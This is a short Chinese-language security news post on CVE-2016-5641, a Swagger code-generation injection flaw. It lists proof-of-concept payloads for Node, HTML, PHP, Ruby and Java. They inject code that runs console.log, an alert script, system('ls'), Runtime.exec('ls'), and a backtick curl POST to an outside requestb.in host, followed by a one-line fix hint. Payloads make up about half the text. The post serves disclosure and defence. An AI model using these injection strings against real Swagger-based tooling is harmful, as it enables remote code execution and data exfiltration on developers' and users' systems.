Swagger曝远程代码执行漏洞,影响Java、PHP、NodeJS等众多开发语言
漏洞简述
**Swagger规格被广泛的使用在Html、PHP、Java和 Ruby等流行语言开发的应用中,其最近被曝出远程代码执行漏洞,潜在影响到了Java、PHP、NodeJS和 Ruby等流行语言开发的应用。**这个漏洞的CVE编号为CVE-2016-5641。该漏洞属于参数注入漏洞,能够在Swagger JSON文件中嵌入恶意代码。如凡是使用Swagger API的应用程序都会受到影响。Rapid7社区的安全研究人员目前公开了该漏洞的技术细节和修补方案。
EXP
javascript (node)
“paths”: {
”/a’);};};return exports;}));console.log(‘RCE’);(function(){}(this,function(){a=function(){b=function(){new Array(‘”: {
html
“info”: { “description”: “<script>alert(1)</script>”,
php
“definitions”: {
”d”: {
“type”: “object”,
“description”: “*/ echo system(chr(0x6c).chr(0×73)); /*”,
ruby
“info”: {
”description”: “=begin”,
”title”: “=end `curl -X POST -d \”fizz=buzz\” [http://requestb.in/1ftnzfy1](http://requestb.in/1ftnzfy1)`”
Java
“paths”: {
”/a\”; try{java.lang.Runtime.getRuntime().exec(\”ls\”);}catch(Exception e){} \”":
修复简述
仔细检查Swagger特定语言的转义字符,比如对{}符号谨慎使用。详情请参考该链接。